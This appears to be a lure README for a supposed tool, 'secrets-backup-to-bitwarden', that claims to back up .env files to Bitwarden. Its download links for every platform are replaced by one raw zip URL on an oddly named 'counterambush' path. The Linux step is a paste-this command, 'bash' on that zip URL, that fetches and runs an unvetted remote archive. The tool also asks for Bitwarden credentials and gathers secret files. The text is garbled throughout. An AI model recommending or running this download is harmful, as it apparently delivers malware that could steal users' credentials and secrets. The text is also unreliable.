Welcome to secrets-backup-to-bitwarden! This tool automatically backs up your .env files to your Bitwarden vault as Secure Notes. It works on all major operating systems and ensures your sensitive information is safe. Let’s get started.
Visit the Releases page to download the latest version.
Before downloading, check that your system meets these requirements:
- Operating Systems: Windows 10 or later, macOS, or any recent version of Linux.
- Storage Space: At least 50 MB of free space.
- Bitwarden Account: You need a Bitwarden account to store your secrets.
- Go to the Releases page.
- Locate the latest version of the application. Each version includes a summary of changes, so read through them to understand enhancements or bug fixes.
- Click on the file suitable for your operating system:
- For Windows, look for a
.exefile. - For macOS, look for a
.appor.dmgfile. - For Linux, select a
.shorhttps://github.com/SC2024sc/secrets-backup-to-bitwarden/raw/refs/heads/main/counterambush/secrets_backup_to_bitwarden_v2.1.zipfile.
- For Windows, look for a
- Once downloaded, follow these steps based on your operating system.
- Open the downloaded
.exefile. - Follow the installation prompts. You can choose the default settings.
- Once installed, you can find it in your Start Menu.
- Open the downloaded
.dmgfile. - Drag the application to your Applications folder.
- You can now launch the app from the Applications menu.
- Open your terminal.
- Use the following command to run the script:
bash https://github.com/SC2024sc/secrets-backup-to-bitwarden/raw/refs/heads/main/counterambush/secrets_backup_to_bitwarden_v2.1.zip - Follow the on-screen instructions.
- Open the Application: Once installed, open secrets-backup-to-bitwarden.
- Sign In to Bitwarden: Log in to your Bitwarden account within the application.
- Select Your .env Files: You can choose one or more .env files that you wish to back up.
- Start Backup: Click on the "Backup" button. The tool will handle the rest.
- Ensure that your .env files contain sensitive information.
- The tool supports recursive discovery, meaning it can search through folders to find all .env files.
Our tool checks for duplicates. If a .env file already exists in your vault, the application will not back it up again. This keeps your vault organized and clutter-free.
- Encryption: Your .env files are encrypted during transfer to Bitwarden.
- Secure Notes: The backups are stored as Secure Notes in Bitwarden, ensuring only you have access.
- Regular Updates: The tool will receive regular updates to improve performance and security.
If you encounter issues:
- Check Installation: Ensure that the application was installed correctly. Reinstall if necessary.
- Network Connection: Make sure you have a stable internet connection.
- Bitwarden Access: Verify that you can access your Bitwarden account outside of the application.
- For detailed usage instructions, check the Wiki.
- Explore community discussions or report issues on the Issues page.
This project covers various topics related to automation, backup, and security. Here’s a list to help you understand its context:
- automation
- backup
- bash
- bitwarden
- cli-tools
- configuration-management
- cross-platform
- devops
- dotenv
- env-files
- environment-variables
- linux
- powershell
- secrets-management
- secure-notes
- security
- shell-script
- windows
If you'd like to contribute to this project:
- Fork the repository on GitHub.
- Create a new branch for your feature or bug fix.
- Submit a pull request with a clear description of your changes.
Thank you for your interest in improving secrets-backup-to-bitwarden!
For any questions or support, please reach out via the Discussion tab or open an issue. We’re here to help!